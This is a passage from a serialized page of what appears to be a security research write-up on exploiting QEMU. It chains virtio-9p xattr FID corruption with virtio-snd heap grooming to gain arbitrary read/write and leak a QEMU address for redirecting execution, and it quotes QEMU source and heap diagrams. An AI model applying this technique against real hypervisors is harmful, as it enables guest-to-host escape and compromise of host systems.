{"type":25,"tag":201,"props":130647,"children":130648},{"style":220},[130649],{"type":31,"value":129184},{"type":25,"tag":201,"props":130651,"children":130652},{"class":203,"line":330},[130653,130657,130661],{"type":25,"tag":201,"props":130654,"children":130655},{"style":220},[130656],{"type":31,"value":129175},{"type":25,"tag":201,"props":130658,"children":130659},{"style":261},[130660],{"type":31,"value":6077},{"type":25,"tag":201,"props":130662,"children":130663},{"style":220},[130664],{"type":31,"value":129200},{"type":25,"tag":201,"props":130666,"children":130667},{"class":203,"line":397},[130668],{"type":25,"tag":201,"props":130669,"children":130670},{"emptyLinePlaceholder":17},[130671],{"type":31,"value":496},{"type":25,"tag":201,"props":130673,"children":130674},{"class":203,"line":437},[130675],{"type":25,"tag":201,"props":130676,"children":130677},{"style":220},[130678],{"type":31,"value":105885},{"type":25,"tag":201,"props":130680,"children":130681},{"class":203,"line":464},[130682],{"type":25,"tag":201,"props":130683,"children":130684},{"emptyLinePlaceholder":17},[130685],{"type":31,"value":496},{"type":25,"tag":201,"props":130687,"children":130688},{"class":203,"line":490},[130689,130694,130698,130703],{"type":25,"tag":201,"props":130690,"children":130691},{"style":220},[130692],{"type":31,"value":130693},"    file_fidp ",{"type":25,"tag":201,"props":130695,"children":130696},{"style":261},[130697],{"type":31,"value":1383},{"type":25,"tag":201,"props":130699,"children":130700},{"style":214},[130701],{"type":31,"value":130702}," get_fid",{"type":25,"tag":201,"props":130704,"children":130705},{"style":220},[130706],{"type":31,"value":130707},"(pdu, fid);\n",{"type":25,"tag":201,"props":130709,"children":130710},{"class":203,"line":499},[130711],{"type":25,"tag":201,"props":130712,"children":130713},{"emptyLinePlaceholder":17},[130714],{"type":31,"value":496},{"type":25,"tag":201,"props":130716,"children":130717},{"class":203,"line":522},[130718],{"type":25,"tag":201,"props":130719,"children":130720},{"style":220},[130721],{"type":31,"value":105885},{"type":25,"tag":201,"props":130723,"children":130724},{"class":203,"line":531},[130725],{"type":25,"tag":201,"props":130726,"children":130727},{"emptyLinePlaceholder":17},[130728],{"type":31,"value":496},{"type":25,"tag":201,"props":130730,"children":130731},{"class":203,"line":550},[130732],{"type":25,"tag":201,"props":130733,"children":130734},{"style":4497},[130735],{"type":31,"value":130736},"    /* Make the file fid point to xattr */\n",{"type":25,"tag":201,"props":130738,"children":130739},{"class":203,"line":563},[130740,130745,130749],{"type":25,"tag":201,"props":130741,"children":130742},{"style":220},[130743],{"type":31,"value":130744},"    xattr_fidp ",{"type":25,"tag":201,"props":130746,"children":130747},{"style":261},[130748],{"type":31,"value":1383},{"type":25,"tag":201,"props":130750,"children":130751},{"style":220},[130752],{"type":31,"value":130753}," file_fidp;\n",{"type":25,"tag":201,"props":130755,"children":130756},{"class":203,"line":572},[130757,130761,130765,130769,130773,130777,130781,130785,130789],{"type":25,"tag":201,"props":130758,"children":130759},{"style":246},[130760],{"type":31,"value":129578},{"type":25,"tag":201,"props":130762,"children":130763},{"style":220},[130764],{"type":31,"value":15259},{"type":25,"tag":201,"props":130766,"children":130767},{"style":246},[130768],{"type":31,"value":38052},{"type":25,"tag":201,"props":130770,"children":130771},{"style":220},[130772],{"type":31,"value":80},{"type":25,"tag":201,"props":130774,"children":130775},{"style":246},[130776],{"type":31,"value":129502},{"type":25,"tag":201,"props":130778,"children":130779},{"style":220},[130780],{"type":31,"value":80},{"type":25,"tag":201,"props":130782,"children":130783},{"style":246},[130784],{"type":31,"value":10643},{"type":25,"tag":201,"props":130786,"children":130787},{"style":261},[130788],{"type":31,"value":413},{"type":25,"tag":201,"props":130790,"children":130791},{"style":220},[130792],{"type":31,"value":125686},{"type":25,"tag":201,"props":130794,"children":130795},{"class":203,"line":590},[130796,130800,130804,130808,130812,130816,130820,130824,130828,130832],{"type":25,"tag":201,"props":130797,"children":130798},{"style":246},[130799],{"type":31,"value":129578},{"type":25,"tag":201,"props":130801,"children":130802},{"style":220},[130803],{"type":31,"value":15259},{"type":25,"tag":201,"props":130805,"children":130806},{"style":246},[130807],{"type":31,"value":38052},{"type":25,"tag":201,"props":130809,"children":130810},{"style":220},[130811],{"type":31,"value":80},{"type":25,"tag":201,"props":130813,"children":130814},{"style":246},[130815],{"type":31,"value":129502},{"type":25,"tag":201,"props":130817,"children":130818},{"style":220},[130819],{"type":31,"value":80},{"type":25,"tag":201,"props":130821,"children":130822},{"style":246},[130823],{"type":31,"value":40222},{"type":25,"tag":201,"props":130825,"children":130826},{"style":261},[130827],{"type":31,"value":413},{"type":25,"tag":201,"props":130829,"children":130830},{"style":214},[130831],{"type":31,"value":125257},{"type":25,"tag":201,"props":130833,"children":130834},{"style":220},[130835],{"type":31,"value":129615},{"type":25,"tag":201,"props":130837,"children":130838},{"class":203,"line":608},[130839],{"type":25,"tag":201,"props":130840,"children":130841},{"emptyLinePlaceholder":17},[130842],{"type":31,"value":496},{"type":25,"tag":201,"props":130844,"children":130845},{"class":203,"line":617},[130846],{"type":25,"tag":201,"props":130847,"children":130848},{"style":220},[130849],{"type":31,"value":105885},{"type":25,"tag":34,"props":130851,"children":130852},{},[130853,130855,130861,130863,130868,130869,130874,130876,130881,130883,130889,130890,130896,130898,130903,130904,130909],{"type":31,"value":130854},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":25,"tag":115,"props":130856,"children":130858},{"className":130857},[],[130859],{"type":31,"value":130860},"V9fsFidState",{"type":31,"value":130862}," object. In other words, if we can place a ",{"type":25,"tag":115,"props":130864,"children":130866},{"className":130865},[],[130867],{"type":31,"value":130860},{"type":31,"value":8831},{"type":25,"tag":115,"props":130870,"children":130872},{"className":130871},[],[130873],{"type":31,"value":130429},{"type":31,"value":130875}," currently sits, the overlapping ",{"type":25,"tag":115,"props":130877,"children":130879},{"className":130878},[],[130880],{"type":31,"value":130437},{"type":31,"value":130882}," chunk can overwrite ",{"type":25,"tag":115,"props":130884,"children":130886},{"className":130885},[],[130887],{"type":31,"value":130888},"V9fsFidState.fs.xattr.value",{"type":31,"value":12493},{"type":25,"tag":115,"props":130891,"children":130893},{"className":130892},[],[130894],{"type":31,"value":130895},"V9fsFidState.fs.xattr.len",{"type":31,"value":130897},". That would immediately give us arbitrary read and write through ",{"type":25,"tag":115,"props":130899,"children":130901},{"className":130900},[],[130902],{"type":31,"value":129691},{"type":31,"value":12493},{"type":25,"tag":115,"props":130905,"children":130907},{"className":130906},[],[130908],{"type":31,"value":129683},{"type":31,"value":80},{"type":25,"tag":34,"props":130911,"children":130912},{},[130913,130915,130920,130921,130926,130928,130933,130935,130941,130943,130948,130950,130955,130957,130962,130964,130969,130971,130976],{"type":31,"value":130914},"At this point, ",{"type":25,"tag":115,"props":130916,"children":130918},{"className":130917},[],[130919],{"type":31,"value":130429},{"type":31,"value":16940},{"type":25,"tag":115,"props":130922,"children":130924},{"className":130923},[],[130925],{"type":31,"value":128898},{"type":31,"value":130927}," chunk, while ",{"type":25,"tag":115,"props":130929,"children":130931},{"className":130930},[],[130932],{"type":31,"value":130860},{"type":31,"value":130934}," falls into the ",{"type":25,"tag":115,"props":130936,"children":130938},{"className":130937},[],[130939],{"type":31,"value":130940},"0x120",{"type":31,"value":130942}," size class. Before freeing ",{"type":25,"tag":115,"props":130944,"children":130946},{"className":130945},[],[130947],{"type":31,"value":130429},{"type":31,"value":130949},", we therefore use the oversized ",{"type":25,"tag":115,"props":130951,"children":130953},{"className":130952},[],[130954],{"type":31,"value":130437},{"type":31,"value":130956}," chunk to change its size to match ",{"type":25,"tag":115,"props":130958,"children":130960},{"className":130959},[],[130961],{"type":31,"value":130860},{"type":31,"value":130963},". Once ",{"type":25,"tag":115,"props":130965,"children":130967},{"className":130966},[],[130968],{"type":31,"value":130429},{"type":31,"value":130970}," is freed, it is inserted into the ",{"type":25,"tag":115,"props":130972,"children":130974},{"className":130973},[],[130975],{"type":31,"value":130940},{"type":31,"value":130977}," tcache bin.",{"type":25,"tag":191,"props":130979,"children":130981},{"code":130980},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[130982],{"type":25,"tag":115,"props":130983,"children":130984},{"__ignoreMap":7},[130985],{"type":31,"value":130980},{"type":25,"tag":34,"props":130987,"children":130988},{},[130989,130991,130996,130998,131004,131006,131012,131014,131019],{"type":31,"value":130990},"After that, we can simply allocate a new ",{"type":25,"tag":115,"props":130992,"children":130994},{"className":130993},[],[130995],{"type":31,"value":130860},{"type":31,"value":130997}," with a ",{"type":25,"tag":115,"props":130999,"children":131001},{"className":131000},[],[131002],{"type":31,"value":131003},"P9_TWALK",{"type":31,"value":131005}," request and a fresh FID - this reaches ",{"type":25,"tag":115,"props":131007,"children":131009},{"className":131008},[],[131010],{"type":31,"value":131011},"alloc_fid",{"type":31,"value":131013},", which allocates a new ",{"type":25,"tag":115,"props":131015,"children":131017},{"className":131016},[],[131018],{"type":31,"value":130860},{"type":31,"value":5997},{"type":25,"tag":191,"props":131021,"children":131023},{"code":131022,"language":4652,"meta":7,"className":18010,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[131024],{"type":25,"tag":115,"props":131025,"children":131026},{"__ignoreMap":7},[131027,131067,131074,131090,131118,131125,131132,131139,131160,131167,131182,131204,131228,131249,131260,131267,131305,131347,131354,131361,131368,131375,131382,131433,131440,131455,131462,131510,131522,131530,131559,131574,131581,131610,131617],{"type":25,"tag":201,"props":131028,"children":131029},{"class":203,"line":204},[131030,131034,131038,131042,131047,131051,131055,131059,131063],{"type":25,"tag":201,"props":131031,"children":131032},{"style":208},[131033],{"type":31,"value":52122},{"type":25,"tag":201,"props":131035,"children":131036},{"style":208},[131037],{"type":31,"value":52127},{"type":25,"tag":201,"props":131039,"children":131040},{"style":220},[131041],{"type":31,"value":129028},{"type":25,"tag":201,"props":131043,"children":131044},{"style":214},[131045],{"type":31,"value":131046},"v9fs_walk",{"type":25,"tag":201,"props":131048,"children":131049},{"style":220},[131050],{"type":31,"value":298},{"type":25,"tag":201,"props":131052,"children":131053},{"style":208},[131054],{"type":31,"value":52705},{"type":25,"tag":201,"props":131056,"children":131057},{"style":261},[131058],{"type":31,"value":11319},{"type":25,"tag":201,"props":131060,"children":131061},{"style":246},[131062],{"type":31,"value":129050},{"type":25,"tag":201,"props":131064,"children":131065},{"style":220},[131066],{"type":31,"value":4666},{"type":25,"tag":201,"props":131068,"children":131069},{"class":203,"line":226},[131070],{"type":25,"tag":201,"props":131071,"children":131072},{"style":220},[131073],{"type":31,"value":1822},{"type":25,"tag":201,"props":131075,"children":131076},{"class":203,"line":278},[131077,131081,131085],{"type":25,"tag":201,"props":131078,"children":131079},{"style":220},[131080],{"type":31,"value":129175},{"type":25,"tag":201,"props":131082,"children":131083},{"style":261},[131084],{"type":31,"value":6077},{"type":25,"tag":201,"props":131086,"children":131087},{"style":220},[131088],{"type":31,"value":131089},"fidp;\n",{"type":25,"tag":201,"props":131091,"children":131092},{"class":203,"line":311},[131093,131097,131101,131106,131110,131114],{"type":25,"tag":201,"props":131094,"children":131095},{"style":220},[131096],{"type":31,"value":129175},{"type":25,"tag":201,"props":131098,"children":131099},{"style":261},[131100],{"type":31,"value":6077},{"type":25,"tag":201,"props":131102,"children":131103},{"style":220},[131104],{"type":31,"value":131105},"newfidp ",{"type":25,"tag":201,"props":131107,"children":131108},{"style":261},[131109],{"type":31,"value":1383},{"type":25,"tag":201,"props":131111,"children":131112},{"style":208},[131113],{"type":31,"value":128854},{"type":25,"tag":201,"props":131115,"children":131116},{"style":220},[131117],{"type":31,"value":461},{"type":25,"tag":201,"props":131119,"children":131120},{"class":203,"line":330},[131121],{"type":25,"tag":201,"props":131122,"children":131123},{"emptyLinePlaceholder":17},[131124],{"type":31,"value":496},{"type":25,"tag":201,"props":131126,"children":131127},{"class":203,"line":397},[131128],{"type":25,"tag":201,"props":131129,"children":131130},{"style":220},[131131],{"type":31,"value":105885},{"type":25,"tag":201,"props":131133,"children":131134},{"class":203,"line":437},[131135],{"type":25,"tag":201,"props":131136,"children":131137},{"emptyLinePlaceholder":17},[131138],{"type":31,"value":496},{"type":25,"tag":201,"props":131140,"children":131141},{"class":203,"line":464},[131142,131146,131151,131155],{"type":25,"tag":201,"props":131143,"children":131144},{"style":230},[131145],{"type":31,"value":13781},{"type":25,"tag":201,"props":131147,"children":131148},{"style":220},[131149],{"type":31,"value":131150}," (fid ",{"type":25,"tag":201,"props":131152,"children":131153},{"style":261},[131154],{"type":31,"value":10083},{"type":25,"tag":201,"props":131156,"children":131157},{"style":220},[131158],{"type":31,"value":131159}," newfid) {\n",{"type":25,"tag":201,"props":131161,"children":131162},{"class":203,"line":490},[131163],{"type":25,"tag":201,"props":131164,"children":131165},{"style":220},[131166],{"type":31,"value":125123},{"type":25,"tag":201,"props":131168,"children":131169},{"class":203,"line":499},[131170,131174,131178],{"type":25,"tag":201,"props":131171,"children":131172},{"style":220},[131173],{"type":31,"value":17274},{"type":25,"tag":201,"props":131175,"children":131176},{"style":230},[131177],{"type":31,"value":322},{"type":25,"tag":201,"props":131179,"children":131180},{"style":220},[131181],{"type":31,"value":327},{"type":25,"tag":201,"props":131183,"children":131184},{"class":203,"line":522},[131185,131190,131194,131199],{"type":25,"tag":201,"props":131186,"children":131187},{"style":220},[131188],{"type":31,"value":131189},"        newfidp ",{"type":25,"tag":201,"props":131191,"children":131192},{"style":261},[131193],{"type":31,"value":1383},{"type":25,"tag":201,"props":131195,"children":131196},{"style":214},[131197],{"type":31,"value":131198}," alloc_fid",{"type":25,"tag":201,"props":131200,"children":131201},{"style":220},[131202],{"type":31,"value":131203},"(s, newfid);\n",{"type":25,"tag":201,"props":131205,"children":131206},{"class":203,"line":531},[131207,131211,131216,131220,131224],{"type":25,"tag":201,"props":131208,"children":131209},{"style":230},[131210],{"type":31,"value":4779},{"type":25,"tag":201,"props":131212,"children":131213},{"style":220},[131214],{"type":31,"value":131215}," (newfidp ",{"type":25,"tag":201,"props":131217,"children":131218},{"style":261},[131219],{"type":31,"value":10083},{"type":25,"tag":201,"props":131221,"children":131222},{"style":208},[131223],{"type":31,"value":128854},{"type":25,"tag":201,"props":131225,"children":131226},{"style":220},[131227],{"type":31,"value":275},{"type":25,"tag":201,"props":131229,"children":131230},{"class":203,"line":550},[131231,131236,131240,131244],{"type":25,"tag":201,"props":131232,"children":131233},{"style":220},[131234],{"type":31,"value":131235},"            err ",{"type":25,"tag":201,"props":131237,"children":131238},{"style":261},[131239],{"type":31,"value":1383},{"type":25,"tag":201,"props":131241,"children":131242},{"style":261},[131243],{"type":31,"value":52333},{"type":25,"tag":201,"props":131245,"children":131246},{"style":220},[131247],{"type":31,"value":131248},"EINVAL;\n",{"type":25,"tag":201,"props":131250,"children":131251},{"class":203,"line":563},[131252,131256],{"type":25,"tag":201,"props":131253,"children":131254},{"style":230},[131255],{"type":31,"value":61629},{"type":25,"tag":201,"props":131257,"children":131258},{"style":220},[131259],{"type":31,"value":61634},{"type":25,"tag":201,"props":131261,"children":131262},{"class":203,"line":572},[131263],{"type":25,"tag":201,"props":131264,"children":131265},{"style":220},[131266],{"type":31,"value":4853},{"type":25,"tag":201,"props":131268,"children":131269},{"class":203,"line":590},[131270,131275,131279,131284,131288,131293,131297,131301],{"type":25,"tag":201,"props":131271,"children":131272},{"style":246},[131273],{"type":31,"value":131274},"        newfidp",{"type":25,"tag":201,"props":131276,"children":131277},{"style":220},[131278],{"type":31,"value":15259},{"type":25,"tag":201,"props":131280,"children":131281},{"style":246},[131282],{"type":31,"value":131283},"uid",{"type":25,"tag":201,"props":131285,"children":131286},{"style":261},[131287],{"type":31,"value":413},{"type":25,"tag":201,"props":131289,"children":131290},{"style":246},[131291],{"type":31,"value":131292}," fidp",{"type":25,"tag":201,"props":131294,"children":131295},{"style":220},[131296],{"type":31,"value":15259},{"type":25,"tag":201,"props":131298,"children":131299},{"style":246},[131300],{"type":31,"value":131283},{"type":25,"tag":201,"props":131302,"children":131303},{"style":220},[131304],{"type":31,"value":461},{"type":25,"tag":201,"props":131306,"children":131307},{"class":203,"line":608},[131308,131313,131317,131321,131326,131330,131334,131338,131342],{"type":25,"tag":201,"props":131309,"children":131310},{"style":214},[131311],{"type":31,"value":131312},"        v9fs_path_copy",{"type":25,"tag":201,"props":131314,"children":131315},{"style":220},[131316],{"type":31,"value":298},{"type":25,"tag":201,"props":131318,"children":131319},{"style":261},[131320],{"type":31,"value":4615},{"type":25,"tag":201,"props":131322,"children":131323},{"style":246},[131324],{"type":31,"value":131325},"newfidp",{"type":25,"tag":201,"props":131327,"children":131328},{"style":220},[131329],{"type":31,"value":15259},{"type":25,"tag":201,"props":131331,"children":131332},{"style":246},[131333],{"type":31,"value":113408},{"type":25,"tag":201,"props":131335,"children":131336},{"style":220},[131337],{"type":31,"value":919},{"type":25,"tag":201,"props":131339,"children":131340},{"style":261},[131341],{"type":31,"value":4615},{"type":25,"tag":201,"props":131343,"children":131344},{"style":220},[131345],{"type":31,"value":131346},"path);\n",{"type":25,"tag":201,"props":131348,"children":131349},{"class":203,"line":617},[131350],{"type":25,"tag":201,"props":131351,"children":131352},{"style":220},[131353],{"type":31,"value":4861},{"type":25,"tag":201,"props":131355,"children":131356},{"class":203,"line":625},[131357],{"type":25,"tag":201,"props":131358,"children":131359},{"emptyLinePlaceholder":17},[131360],{"type":31,"value":496},{"type":25,"tag":201,"props":131362,"children":131363},{"class":203,"line":642},[131364],{"type":25,"tag":201,"props":131365,"children":131366},{"style":220},[131367],{"type":31,"value":105885},{"type":25,"tag":201,"props":131369,"children":131370},{"class":203,"line":659},[131371],{"type":25,"tag":201,"props":131372,"children":131373},{"style":220},[131374],{"type":31,"value":1187},{"type":25,"tag":201,"props":131376,"children":131377},{"class":203,"line":667},[131378],{"type":25,"tag":201,"props":131379,"children":131380},{"emptyLinePlaceholder":17},[131381],{"type":31,"value":496},{"type":25,"tag":201,"props":131383,"children":131384},{"class":203,"line":676},[131385,131389,131394,131398,131402,131407,131411,131415,131419,131424,131429],{"type":25,"tag":201,"props":131386,"children":131387},{"style":208},[131388],{"type":31,"value":52122},{"type":25,"tag":201,"props":131390,"children":131391},{"style":220},[131392],{"type":31,"value":131393}," V9fsFidState ",{"type":25,"tag":201,"props":131395,"children":131396},{"style":261},[131397],{"type":31,"value":6077},{"type":25,"tag":201,"props":131399,"children":131400},{"style":214},[131401],{"type":31,"value":131011},{"type":25,"tag":201,"props":131403,"children":131404},{"style":220},[131405],{"type":31,"value":131406},"(V9fsState ",{"type":25,"tag":201,"props":131408,"children":131409},{"style":261},[131410],{"type":31,"value":6077},{"type":25,"tag":201,"props":131412,"children":131413},{"style":246},[131414],{"type":31,"value":12153},{"type":25,"tag":201,"props":131416,"children":131417},{"style":220},[131418],{"type":31,"value":919},{"type":25,"tag":201,"props":131420,"children":131421},{"style":208},[131422],{"type":31,"value":131423},"int32_t",{"type":25,"tag":201,"props":131425,"children":131426},{"style":246},[131427],{"type":31,"value":131428}," fid",{"type":25,"tag":201,"props":131430,"children":131431},{"style":220},[131432],{"type":31,"value":4666},{"type":25,"tag":201,"props":131434,"children":131435},{"class":203,"line":694},[131436],{"type":25,"tag":201,"props":131437,"children":131438},{"style":220},[131439],{"type":31,"value":1822},{"type":25,"tag":201,"props":131441,"children":131442},{"class":203,"line":707},[131443,131447,131451],{"type":25,"tag":201,"props":131444,"children":131445},{"style":220},[131446],{"type":31,"value":129175},{"type":25,"tag":201,"props":131448,"children":131449},{"style":261},[131450],{"type":31,"value":6077},{"type":25,"tag":201,"props":131452,"children":131453},{"style":220},[131454],{"type":31,"value":52243},{"type":25,"tag":201,"props":131456,"children":131457},{"class":203,"line":715},[131458],{"type":25,"tag":201,"props":131459,"children":131460},{"emptyLinePlaceholder":17},[131461],{"type":31,"value":496},{"type":25,"tag":201,"props":131463,"children":131464},{"class":203,"line":732},[131465,131470,131474,131479,131483,131487,131491,131496,131500,131505],{"type":25,"tag":201,"props":131466,"children":131467},{"style":220},[131468],{"type":31,"value":131469},"    f ",{"type":25,"tag":201,"props":131471,"children":131472},{"style":261},[131473],{"type":31,"value":1383},{"type":25,"tag":201,"props":131475,"children":131476},{"style":214},[131477],{"type":31,"value":131478}," g_hash_table_lookup",{"type":25,"tag":201,"props":131480,"children":131481},{"style":220},[131482],{"type":31,"value":298},{"type":25,"tag":201,"props":131484,"children":131485},{"style":246},[131486],{"type":31,"value":12153},{"type":25,"tag":201,"props":131488,"children":131489},{"style":220},[131490],{"type":31,"value":15259},{"type":25,"tag":201,"props":131492,"children":131493},{"style":246},[131494],{"type":31,"value":131495},"fids",{"type":25,"tag":201,"props":131497,"children":131498},{"style":220},[131499],{"type":31,"value":919},{"type":25,"tag":201,"props":131501,"children":131502},{"style":214},[131503],{"type":31,"value":131504},"GINT_TO_POINTER",{"type":25,"tag":201,"props":131506,"children":131507},{"style":220},[131508],{"type":31,"value":131509},"(fid));\n",{"type":25,"tag":201,"props":131511,"children":131512},{"class":203,"line":749},[131513,131517],{"type":25,"tag":201,"props":131514,"children":131515},{"style":230},[131516],{"type":31,"value":13781},{"type":25,"tag":201,"props":131518,"children":131519},{"style":220},[131520],{"type":31,"value":131521}," (f) {\n",{"type":25,"tag":201,"props":131523,"children":131524},{"class":203,"line":757},[131525],{"type":25,"tag":201,"props":131526,"children":131527},{"style":4497},[131528],{"type":31,"value":131529},"        /* If fid is already there return NULL */\n",{"type":25,"tag":201,"props":131531,"children":131532},{"class":203,"line":765},[131533,131538,131542,131546,131550,131555],{"type":25,"tag":201,"props":131534,"children":131535},{"style":214},[131536],{"type":31,"value":131537},"        BUG_ON",{"type":25,"tag":201,"props":131539,"children":131540},{"style":220},[131541],{"type":31,"value":298},{"type":25,"tag":201,"props":131543,"children":131544},{"style":246},[131545],{"type":31,"value":2020},{"type":25,"tag":201,"props":131547,"children":131548},{"style":220},[131549],{"type":31,"value":15259},{"type":25,"tag":201,"props":131551,"children":131552},{"style":246},[131553],{"type":31,"value":131554},"clunked",{"type":25,"tag":201,"props":131556,"children":131557},{"style":220},[131558],{"type":31,"value":308},{"type":25,"tag":201,"props":131560,"children":131561},{"class":203,"line":783},[131562,131566,131570],{"type":25,"tag":201,"props":131563,"children":131564},{"style":230},[131565],{"type":31,"value":17239},{"type":25,"tag":201,"props":131567,"children":131568},{"style":208},[131569],{"type":31,"value":128854},{"type":25,"tag":201,"props":131571,"children":131572},{"style":220},[131573],{"type":31,"value":461},{"type":25,"tag":201,"props":131575,"children":131576},{"class":203,"line":792},[131577],{"type":25,"tag":201,"props":131578,"children":131579},{"style":220},[131580],{"type":31,"value":4861},{"type":25,"tag":201,"props":131582,"children":131583},{"class":203,"line":801},[131584,131588,131592,131597,131602,131606],{"type":25,"tag":201,"props":131585,"children":131586},{"style":220},[131587],{"type":31,"value":131469},{"type":25,"tag":201,"props":131589,"children":131590},{"style":261},[131591],{"type":31,"value":1383},{"type":25,"tag":201,"props":131593,"children":131594},{"style":214},[131595],{"type":31,"value":131596}," g_new0",{"type":25,"tag":201,"props":131598,"children":131599},{"style":220},[131600],{"type":31,"value":131601},"(V9fsFidState, ",{"type":25,"tag":201,"props":131603,"children":131604},{"style":426},[131605],{"type":31,"value":5516},{"type":25,"tag":201,"props":131607,"children":131608},{"style":220},[131609],{"type":31,"value":308},{"type":25,"tag":201,"props":131611,"children":131612},{"class":203,"line":809},[131613],{"type":25,"tag":201,"props":131614,"children":131615},{"emptyLinePlaceholder":17},[131616],{"type":31,"value":496},{"type":25,"tag":201,"props":131618,"children":131619},{"class":203,"line":857},[131620],{"type":25,"tag":201,"props":131621,"children":131622},{"style":220},[131623],{"type":31,"value":105885},{"type":25,"tag":34,"props":131625,"children":131626},{},[131627,131629,131634],{"type":31,"value":131628},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":25,"tag":115,"props":131630,"children":131632},{"className":131631},[],[131633],{"type":31,"value":130429},{"type":31,"value":129766},{"type":25,"tag":191,"props":131636,"children":131638},{"code":131637},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[131639],{"type":25,"tag":115,"props":131640,"children":131641},{"__ignoreMap":7},[131642],{"type":31,"value":131637},{"type":25,"tag":20392,"props":131644,"children":131646},{"id":131645},"leaking-a-qemu-address",[131647],{"type":31,"value":131648},"Leaking a QEMU Address",{"type":25,"tag":34,"props":131650,"children":131651},{},[131652],{"type":31,"value":131653},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":25,"tag":34,"props":131655,"children":131656},{},[131657,131659,131664],{"type":31,"value":131658},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":25,"tag":115,"props":131660,"children":131662},{"className":131661},[],[131663],{"type":31,"value":124849},{"type":31,"value":5997},{"type":25,"tag":191,"props":131666,"children":131668},{"code":131667,"language":4652,"meta":7,"className":18010,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[131669],{"type":25,"tag":115,"props":131670,"children":131671},{"__ignoreMap":7},[131672,131715,131722,131753,131768,131783,131795,131808,131815,131822,131829,131840,131855,131862,131890,131909,131920,131927,131935,131972,131993,132005,132018,132031,132057,132069,132076,132114,132121,132128,132135,132166,132221,132233,132274,132297,132326,132353,132380,132412],{"type":25,"tag":201,"props":131673,"children":131674},{"class":203,"line":204},[131675,131679,131683,131687,131691,131695,131699,131703,131707,131711],{"type":25,"tag":201,"props":131676,"children":131677},{"style":208},[131678],{"type":31,"value":52122},{"type":25,"tag":201,"props":131680,"children":131681},{"style":208},[131682],{"type":31,"value":52127},{"type":25,"tag":201,"props":131684,"children":131685},{"style":214},[131686],{"type":31,"value":124928},{"type":25,"tag":201,"props":131688,"children":131689},{"style":220},[131690],{"type":31,"value":124933},{"type":25,"tag":201,"props":131692,"children":131693},{"style":261},[131694],{"type":31,"value":6077},{"type":25,"tag":201,"props":131696,"children":131697},{"style":246},[131698],{"type":31,"value":124942},{"type":25,"tag":201,"props":131700,"children":131701},{"style":220},[131702],{"type":31,"value":124947},{"type":25,"tag":201,"props":131704,"children":131705},{"style":261},[131706],{"type":31,"value":6077},{"type":25,"tag":201,"props":131708,"children":131709},{"style":246},[131710],{"type":31,"value":124956},{"type":25,"tag":201,"props":131712,"children":131713},{"style":220},[131714],{"type":31,"value":4666},{"type":25,"tag":201,"props":131716,"children":131717},{"class":203,"line":226},[131718],{"type":25,"tag":201,"props":131719,"children":131720},{"style":220},[131721],{"type":31,"value":1822},{"type":25,"tag":201,"props":131723,"children":131724},{"class":203,"line":278},[131725,131730,131734,131739,131743,131748],{"type":25,"tag":201,"props":131726,"children":131727},{"style":220},[131728],{"type":31,"value":131729},"    VirtIOSound ",{"type":25,"tag":201,"props":131731,"children":131732},{"style":261},[131733],{"type":31,"value":6077},{"type":25,"tag":201,"props":131735,"children":131736},{"style":220},[131737],{"type":31,"value":131738},"vsnd ",{"type":25,"tag":201,"props":131740,"children":131741},{"style":261},[131742],{"type":31,"value":1383},{"type":25,"tag":201,"props":131744,"children":131745},{"style":214},[131746],{"type":31,"value":131747}," 